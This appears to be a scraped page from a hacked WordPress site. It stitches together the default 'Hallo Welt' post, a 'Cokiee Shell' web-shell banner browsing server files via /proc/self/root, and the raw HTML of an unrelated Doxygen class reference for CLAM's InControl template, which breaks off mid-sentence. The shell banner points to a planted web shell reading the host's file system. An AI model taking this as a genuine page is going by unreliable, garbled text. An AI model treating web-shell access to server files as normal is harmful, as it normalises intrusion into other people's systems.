Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/share/doc/libclam-doc/html/ |
Current File : //proc/self/root/usr/share/doc/libclam-doc/html/classCLAM_1_1InControl.html |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>CLAM-Development: CLAM::InControl< ControlDataType > Class Template Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">CLAM-Development  <span id="projectnumber">1.4.0</span> </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.1 --> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main Page</span></a></li> <li><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="namespaces.html"><span>Namespaces</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class List</span></a></li> <li><a href="classes.html"><span>Class Index</span></a></li> <li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li> <li><a href="functions.html"><span>Class Members</span></a></li> </ul> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="namespaceCLAM.html">CLAM</a></li><li class="navelem"><a class="el" href="classCLAM_1_1InControl.html">InControl</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#nested-classes">Classes</a> | <a href="#pub-methods">Public Member Functions</a> | <a href="#pro-attribs">Protected Attributes</a> </div> <div class="headertitle"> <div class="title">CLAM::InControl< ControlDataType > Class Template Reference</div> </div> </div><!--header--> <div class="contents"> <p>An <a class="el" href="classCLAM_1_1InControl.html" title="An InControl receives values of the template type in an asyncronous pace.">InControl</a> receives values of the template type in an asyncronous pace. <a href="classCLAM_1_1InControl.html#details">More...</a></p> <p><code>#include <<a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>></code></p> <p><a href="classCLAM_1_1InControl-members.html">List of all members.</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="nested-classes"></a> Classes</h2></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class  </td><td class="memItemRight" valign="bottom"><b>Callback</b></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class  </td><td class="memItemRight" valign="bottom"><b>MethodCallback</b></td></tr> <tr class="memdesc:"><td class="mdescLeft"> </td><td class="mdescRight"><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> method callback wrapper. Calls a processing method that receives the value as const reference. <br/></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class  </td><td class="memItemRight" valign="bottom"><b>MethodCallbackByCopy</b></td></tr> <tr class="memdesc:"><td class="mdescLeft"> </td><td class="mdescRight"><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> method callback wrapper by copy. Calls a processing method that receives the control value by copy. To use with basic (cheap copy) objects (ints, bools, floats...) <br/></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class  </td><td class="memItemRight" valign="bottom"><b>MethodCallbackByCopyWithId</b></td></tr> <tr class="memdesc:"><td class="mdescLeft"> </td><td class="mdescRight"><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> method callback wrapper by copy with control id. Calls a processing method that receives the control value by copy. To use with basic (cheap copy) objects (ints, bools, floats...) The id enables reusing the same callback for different controls, but still knowing the originating control. <br/></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class  </td><td class="memItemRight" valign="bottom"><b>MethodCallbackWithId</b></td></tr> <tr class="memdesc:"><td class="mdescLeft"> </td><td class="mdescRight"><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> method callback wrapper with control id. Calls a processing method that receives the value as const reference. The id enables reusing the same callback for different controls, but still knowing the originating control. <br/></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">class  </td><td class="memItemRight" valign="bottom"><b>NullCallback</b></td></tr> <tr class="memdesc:"><td class="mdescLeft"> </td><td class="mdescRight">Null control callback wrapper. Just do nothing. <br/></td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a1f9a625b9b96abe57231318517207fad"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#a1f9a625b9b96abe57231318517207fad">InControl</a> (const std::string &name="unnamed in control", Processing *proc=0)</td></tr> <tr class="memdesc:a1f9a625b9b96abe57231318517207fad"><td class="mdescLeft"> </td><td class="mdescRight">Constructor to use when no callback is used. <a href="#a1f9a625b9b96abe57231318517207fad"></a><br/></td></tr> <tr class="memitem:acfc8f023c282ce4e2bd772c456f1ea2f"><td class="memTemplParams" colspan="2">template<typename ProcessingType , typename ParameterType > </td></tr> <tr class="memitem:acfc8f023c282ce4e2bd772c456f1ea2f"><td class="memTemplItemLeft" align="right" valign="top"> </td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#acfc8f023c282ce4e2bd772c456f1ea2f">InControl</a> (const std::string &name, ProcessingType *proc, void(ProcessingType::*callback)(const ParameterType &))</td></tr> <tr class="memdesc:acfc8f023c282ce4e2bd772c456f1ea2f"><td class="mdescLeft"> </td><td class="mdescRight">Constructor to use a callback by const reference. <a href="#acfc8f023c282ce4e2bd772c456f1ea2f"></a><br/></td></tr> <tr class="memitem:a713e2e447691eedf56aef785b976b4ff"><td class="memTemplParams" colspan="2">template<typename ProcessingType , typename ParameterType > </td></tr> <tr class="memitem:a713e2e447691eedf56aef785b976b4ff"><td class="memTemplItemLeft" align="right" valign="top"> </td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#a713e2e447691eedf56aef785b976b4ff">InControl</a> (<a class="el" href="classunsigned.html">unsigned</a> id, const std::string &name, ProcessingType *proc, void(ProcessingType::*callback)(<a class="el" href="classunsigned.html">unsigned</a>, const ParameterType &))</td></tr> <tr class="memdesc:a713e2e447691eedf56aef785b976b4ff"><td class="mdescLeft"> </td><td class="mdescRight">Constructor to use a callback by const reference plus a port id to distinguish different caller controls in a single serving callback. <a href="#a713e2e447691eedf56aef785b976b4ff"></a><br/></td></tr> <tr class="memitem:a462bc485c7fa03b87a0441f1b2c8012c"><td class="memTemplParams" colspan="2">template<typename ProcessingType , typename ParameterType > </td></tr> <tr class="memitem:a462bc485c7fa03b87a0441f1b2c8012c"><td class="memTemplItemLeft" align="right" valign="top"> </td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#a462bc485c7fa03b87a0441f1b2c8012c">InControl</a> (const std::string &name, ProcessingType *proc, void(ProcessingType::*callback)(ParameterType))</td></tr> <tr class="memdesc:a462bc485c7fa03b87a0441f1b2c8012c"><td class="mdescLeft"> </td><td class="mdescRight">Constructor to use a callback by copy. <a href="#a462bc485c7fa03b87a0441f1b2c8012c"></a><br/></td></tr> <tr class="memitem:a966f8914cdbee7b94a7b5dc7a2121bab"><td class="memTemplParams" colspan="2">template<typename ProcessingType , typename ParameterType > </td></tr> <tr class="memitem:a966f8914cdbee7b94a7b5dc7a2121bab"><td class="memTemplItemLeft" align="right" valign="top"> </td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#a966f8914cdbee7b94a7b5dc7a2121bab">InControl</a> (<a class="el" href="classunsigned.html">unsigned</a> id, const std::string &name, ProcessingType *proc, void(ProcessingType::*callback)(<a class="el" href="classunsigned.html">unsigned</a>, ParameterType))</td></tr> <tr class="memdesc:a966f8914cdbee7b94a7b5dc7a2121bab"><td class="mdescLeft"> </td><td class="mdescRight">Constructor to use a callback by copy plus a port id to distinguish different caller controls in a single serving callback. <a href="#a966f8914cdbee7b94a7b5dc7a2121bab"></a><br/></td></tr> <tr class="memitem:a4992707c129e605b8b02fad892ed9e78"><td class="memItemLeft" align="right" valign="top">virtual </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#a4992707c129e605b8b02fad892ed9e78">~InControl</a> ()</td></tr> <tr class="memitem:a29ada68a41024dfa0c09ef4faf3ecdc1"><td class="memItemLeft" align="right" valign="top">virtual void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#a29ada68a41024dfa0c09ef4faf3ecdc1">DoControl</a> (const ControlDataType &val)</td></tr> <tr class="memdesc:a29ada68a41024dfa0c09ef4faf3ecdc1"><td class="mdescLeft"> </td><td class="mdescRight">The control receives a value when this method gets called. Associated callback if any, gets triggered on result. Connected <a class="el" href="classCLAM_1_1OutControl.html" title="Processing typed out control template class.">OutControl</a> may trigger it but it also may be called directly, for example to set the initial value. <a href="#a29ada68a41024dfa0c09ef4faf3ecdc1"></a><br/></td></tr> <tr class="memitem:ae20e28c58eff3400515a71aaa5aa4e42"><td class="memItemLeft" align="right" valign="top">virtual const ControlDataType & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#ae20e28c58eff3400515a71aaa5aa4e42">GetLastValue</a> () const </td></tr> <tr class="memdesc:ae20e28c58eff3400515a71aaa5aa4e42"><td class="mdescLeft"> </td><td class="mdescRight">Returns the last received value. <a href="#ae20e28c58eff3400515a71aaa5aa4e42"></a><br/></td></tr> <tr class="memitem:a7cf22a12dbdf251ee52558fa101d1409"><td class="memItemLeft" align="right" valign="top">const std::string </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#a7cf22a12dbdf251ee52558fa101d1409">GetLastValueAsString</a> ()</td></tr> <tr class="memdesc:a7cf22a12dbdf251ee52558fa101d1409"><td class="mdescLeft"> </td><td class="mdescRight">Convenience method to get the string representation of the last value. This just works if the token is storable as XML leaf, if not a "Not printable" string is given. <a href="#a7cf22a12dbdf251ee52558fa101d1409"></a><br/></td></tr> <tr class="memitem:a8d80f901cd58bb28dede6ed62662fd4f"><td class="memItemLeft" align="right" valign="top">virtual const std::type_info & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#a8d80f901cd58bb28dede6ed62662fd4f">GetTypeId</a> () const </td></tr> <tr class="memdesc:a8d80f901cd58bb28dede6ed62662fd4f"><td class="mdescLeft"> </td><td class="mdescRight">Concrete InControls must overload this method by returning the typeid of the kind of data they communicate. <a href="#a8d80f901cd58bb28dede6ed62662fd4f"></a><br/></td></tr> <tr class="memitem:a8b760c5629113b9506ae06602f9ec8b7"><td class="memTemplParams" colspan="2">template<> </td></tr> <tr class="memitem:a8b760c5629113b9506ae06602f9ec8b7"><td class="memTemplItemLeft" align="right" valign="top">const std::string </td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#a8b760c5629113b9506ae06602f9ec8b7">GetLastValueAsString</a> ()</td></tr> <tr class="inherit_header pub_methods_classCLAM_1_1InControlBase"><td colspan="2" onclick="javascript:toggleInherit('pub_methods_classCLAM_1_1InControlBase')"><img src="closed.png" alt="-"/> Public Member Functions inherited from <a class="el" href="classCLAM_1_1InControlBase.html">CLAM::InControlBase</a></td></tr> <tr class="memitem:a6d5817b86aefecf1683e96bde0bb01bf inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a6d5817b86aefecf1683e96bde0bb01bf">HasBeenRead</a> () const </td></tr> <tr class="memitem:aed9669179d86c0ff73ba259f6c91bdcc inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#aed9669179d86c0ff73ba259f6c91bdcc">InControlBase</a> (const std::string &name, <a class="el" href="classCLAM_1_1Processing.html">Processing</a> *processing=0)</td></tr> <tr class="memdesc:aed9669179d86c0ff73ba259f6c91bdcc inherit pub_methods_classCLAM_1_1InControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Class constructor. <a href="#aed9669179d86c0ff73ba259f6c91bdcc"></a><br/></td></tr> <tr class="memitem:a6ef1de71c635cb327bd03a17f17ff324 inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">virtual </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a6ef1de71c635cb327bd03a17f17ff324">~InControlBase</a> ()</td></tr> <tr class="memdesc:a6ef1de71c635cb327bd03a17f17ff324 inherit pub_methods_classCLAM_1_1InControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Class destructor. <a href="#a6ef1de71c635cb327bd03a17f17ff324"></a><br/></td></tr> <tr class="memitem:a2b94066dde13746cea2f26d757ae963d inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">const std::string & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a2b94066dde13746cea2f26d757ae963d">GetName</a> () const </td></tr> <tr class="memitem:a7b36b4f6a096a00da93e8751a7f157da inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1Processing.html">Processing</a> * </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a7b36b4f6a096a00da93e8751a7f157da">GetProcessing</a> () const </td></tr> <tr class="memitem:a40d0d6603aa19f9423541cc22e3ddc8d inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a40d0d6603aa19f9423541cc22e3ddc8d">IsConnected</a> () const </td></tr> <tr class="memitem:a05c85aee345d4dff5b84e81125c5bb66 inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a05c85aee345d4dff5b84e81125c5bb66">IsConnectedTo</a> (<a class="el" href="classCLAM_1_1OutControlBase.html">OutControlBase</a> &out)</td></tr> <tr class="memitem:afc0f0d3b5b528a949f05e396ed49e0c1 inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#afc0f0d3b5b528a949f05e396ed49e0c1">OutControlInterface_AddLink</a> (<a class="el" href="classCLAM_1_1OutControlBase.html">OutControlBase</a> &outControl)</td></tr> <tr class="memdesc:afc0f0d3b5b528a949f05e396ed49e0c1 inherit pub_methods_classCLAM_1_1InControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Implementation detail just to be used just from <a class="el" href="classCLAM_1_1OutControlBase.html" title="Base class for an outwards control connector.">OutControlBase</a>. <a href="#afc0f0d3b5b528a949f05e396ed49e0c1"></a><br/></td></tr> <tr class="memitem:a2403b4d7cba4a7a6136195732b4ad02c inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a2403b4d7cba4a7a6136195732b4ad02c">OutControlInterface_RemoveLink</a> (<a class="el" href="classCLAM_1_1OutControlBase.html">OutControlBase</a> &outControl)</td></tr> <tr class="memdesc:a2403b4d7cba4a7a6136195732b4ad02c inherit pub_methods_classCLAM_1_1InControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Implementation detail just to be used just from <a class="el" href="classCLAM_1_1OutControlBase.html" title="Base class for an outwards control connector.">OutControlBase</a>. <a href="#a2403b4d7cba4a7a6136195732b4ad02c"></a><br/></td></tr> <tr class="memitem:a306f6c3aa075f3e40c3a762ffada54e0 inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a306f6c3aa075f3e40c3a762ffada54e0">IsBounded</a> () const </td></tr> <tr class="memitem:ac62495fa455039b0ca42913ca2a267eb inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="namespaceCLAM.html#aa961ac47b3ce3d0ab3a96bed3f786fb9">TControlData</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#ac62495fa455039b0ca42913ca2a267eb">UpperBound</a> () const </td></tr> <tr class="memitem:aa41afafa35b0c73d951d8dcbc90cb27c inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="namespaceCLAM.html#aa961ac47b3ce3d0ab3a96bed3f786fb9">TControlData</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#aa41afafa35b0c73d951d8dcbc90cb27c">LowerBound</a> () const </td></tr> <tr class="memitem:a191bf5d9bcd3a5c73df1ae722e0c58f4 inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="namespaceCLAM.html#aa961ac47b3ce3d0ab3a96bed3f786fb9">TControlData</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a191bf5d9bcd3a5c73df1ae722e0c58f4">DefaultValue</a> () const </td></tr> <tr class="memdesc:a191bf5d9bcd3a5c73df1ae722e0c58f4 inherit pub_methods_classCLAM_1_1InControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Returns the bounds mean or the value set with <a class="el" href="classCLAM_1_1InControlBase.html#a65210e9fec91f886b7566d92b9b1b466">SetDefaultValue()</a> if its the case. <a href="#a191bf5d9bcd3a5c73df1ae722e0c58f4"></a><br/></td></tr> <tr class="memitem:a65210e9fec91f886b7566d92b9b1b466 inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a65210e9fec91f886b7566d92b9b1b466">SetDefaultValue</a> (<a class="el" href="namespaceCLAM.html#aa961ac47b3ce3d0ab3a96bed3f786fb9">TControlData</a> val)</td></tr> <tr class="memitem:a24a44226caaa937d55411130b0a42a23 inherit pub_methods_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a24a44226caaa937d55411130b0a42a23">SetBounds</a> (<a class="el" href="namespaceCLAM.html#aa961ac47b3ce3d0ab3a96bed3f786fb9">TControlData</a> lower, <a class="el" href="namespaceCLAM.html#aa961ac47b3ce3d0ab3a96bed3f786fb9">TControlData</a> upper)</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="pro-attribs"></a> Protected Attributes</h2></td></tr> <tr class="memitem:adfaf3c5af591fa80a0c3cdfa2b79f2ff"><td class="memItemLeft" align="right" valign="top">ControlDataType </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControl.html#adfaf3c5af591fa80a0c3cdfa2b79f2ff">mLastValue</a></td></tr> <tr class="inherit_header pro_attribs_classCLAM_1_1InControlBase"><td colspan="2" onclick="javascript:toggleInherit('pro_attribs_classCLAM_1_1InControlBase')"><img src="closed.png" alt="-"/> Protected Attributes inherited from <a class="el" href="classCLAM_1_1InControlBase.html">CLAM::InControlBase</a></td></tr> <tr class="memitem:a587bb98ae4b487f0787992887a731517 inherit pro_attribs_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1Processing.html">Processing</a> * </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a587bb98ae4b487f0787992887a731517">mProcessing</a></td></tr> <tr class="memitem:afe9e98e1a0d0597d67242a44e381f766 inherit pro_attribs_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1InControlBase.html#af43217524b90be214728edbc61c84ca6">Peers</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#afe9e98e1a0d0597d67242a44e381f766">mLinks</a></td></tr> <tr class="memdesc:afe9e98e1a0d0597d67242a44e381f766 inherit pro_attribs_classCLAM_1_1InControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Stores the pointers to the connected outcontrols. <a href="#afe9e98e1a0d0597d67242a44e381f766"></a><br/></td></tr> <tr class="memitem:af6388bc41b078036e3597a8aba0d71d5 inherit pro_attribs_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="namespaceCLAM.html#aa961ac47b3ce3d0ab3a96bed3f786fb9">TControlData</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#af6388bc41b078036e3597a8aba0d71d5">mDefaultValue</a></td></tr> <tr class="memitem:aa48c62182761bb2600be2de0fcf2d292 inherit pro_attribs_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="namespaceCLAM.html#aa961ac47b3ce3d0ab3a96bed3f786fb9">TControlData</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#aa48c62182761bb2600be2de0fcf2d292">mUpperBound</a></td></tr> <tr class="memitem:a72a2c6a91379c334e6309cc5352aa481 inherit pro_attribs_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="namespaceCLAM.html#aa961ac47b3ce3d0ab3a96bed3f786fb9">TControlData</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a72a2c6a91379c334e6309cc5352aa481">mLowerBound</a></td></tr> <tr class="memitem:a85b9d0347e54815438e07f76893fbaf3 inherit pro_attribs_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a85b9d0347e54815438e07f76893fbaf3">mBounded</a></td></tr> <tr class="memitem:a5dc8b6df779fe60c4175751e4c6db279 inherit pro_attribs_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a5dc8b6df779fe60c4175751e4c6db279">mHasDefaultValue</a></td></tr> <tr class="memitem:a2ae59a0d672f82ef52fe8e7ffdaac75e inherit pro_attribs_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#a2ae59a0d672f82ef52fe8e7ffdaac75e">_hasBeenRead</a></td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="inherited"></a> Additional Inherited Members</h2></td></tr> <tr class="inherit_header pro_types_classCLAM_1_1InControlBase"><td colspan="2" onclick="javascript:toggleInherit('pro_types_classCLAM_1_1InControlBase')"><img src="closed.png" alt="-"/> Protected Types inherited from <a class="el" href="classCLAM_1_1InControlBase.html">CLAM::InControlBase</a></td></tr> <tr class="memitem:af43217524b90be214728edbc61c84ca6 inherit pro_types_classCLAM_1_1InControlBase"><td class="memItemLeft" align="right" valign="top">typedef std::list<br class="typebreak"/> < <a class="el" href="classCLAM_1_1OutControlBase.html">OutControlBase</a> * > </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1InControlBase.html#af43217524b90be214728edbc61c84ca6">Peers</a></td></tr> </table> <hr/><a name="details" id="details"></a><h2>Detailed Description</h2> <div class="textblock"><h3>template<class ControlDataType><br/> class CLAM::InControl< ControlDataType ></h3> <p>An <a class="el" href="classCLAM_1_1InControl.html" title="An InControl receives values of the template type in an asyncronous pace.">InControl</a> receives values of the template type in an asyncronous pace. </p> <p>A processing method can be set as callback to respond to incoming events. You can also consult GetLastValue to get the last received value. </p> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00046">46</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> </div><hr/><h2>Constructor & Destructor Documentation</h2> <a class="anchor" id="a1f9a625b9b96abe57231318517207fad"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::<a class="el" href="classCLAM_1_1InControl.html">InControl</a> </td> <td>(</td> <td class="paramtype">const std::string & </td> <td class="paramname"><em>name</em> = <code>"unnamed in control"</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classCLAM_1_1Processing.html">Processing</a> * </td> <td class="paramname"><em>proc</em> = <code>0</code> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Constructor to use when no callback is used. </p> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00056">56</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> </div> </div> <a class="anchor" id="acfc8f023c282ce4e2bd772c456f1ea2f"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <div class="memtemplate"> template<typename ProcessingType , typename ParameterType > </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::<a class="el" href="classCLAM_1_1InControl.html">InControl</a> </td> <td>(</td> <td class="paramtype">const std::string & </td> <td class="paramname"><em>name</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ProcessingType * </td> <td class="paramname"><em>proc</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">void(ProcessingType::*)(const ParameterType &) </td> <td class="paramname"><em>callback</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Constructor to use a callback by const reference. </p> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00063">63</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> </div> </div> <a class="anchor" id="a713e2e447691eedf56aef785b976b4ff"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <div class="memtemplate"> template<typename ProcessingType , typename ParameterType > </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::<a class="el" href="classCLAM_1_1InControl.html">InControl</a> </td> <td>(</td> <td class="paramtype"><a class="el" href="classunsigned.html">unsigned</a> </td> <td class="paramname"><em>id</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const std::string & </td> <td class="paramname"><em>name</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ProcessingType * </td> <td class="paramname"><em>proc</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">void(ProcessingType::*)(<a class="el" href="classunsigned.html">unsigned</a>, const ParameterType &) </td> <td class="paramname"><em>callback</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Constructor to use a callback by const reference plus a port id to distinguish different caller controls in a single serving callback. </p> <p>Definition at line <a class="el" href="InControl_8hxx_source.html#l00070">70</a> of file <a class="el" href="InControl_8hxx_source.html">InControl.hxx</a>.</p> </div> </div> <a class="anchor" id="a462bc485c7fa03b87a0441f1b2c8012c"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <div class="memtemplate"> template<typename ProcessingType , typename ParameterType > </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classCLAM_1_1InControl.html">CLAM::InControl</a>< ControlDataType >::<a class="el" href="classCLAM_1_1InControl.html">InControl</a> </td> <td>(</td> <td class="paramtype">const std::string & </td> <td class="paramname"><em>name</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">ProcessingType * </td> <td class="paramname"><em>proc</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">void(ProcessingType::*)(ParameterType) </td> <td class="paramname"><em>callback</em> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Constructor to use a callback by copy. </p> <p>Definition at 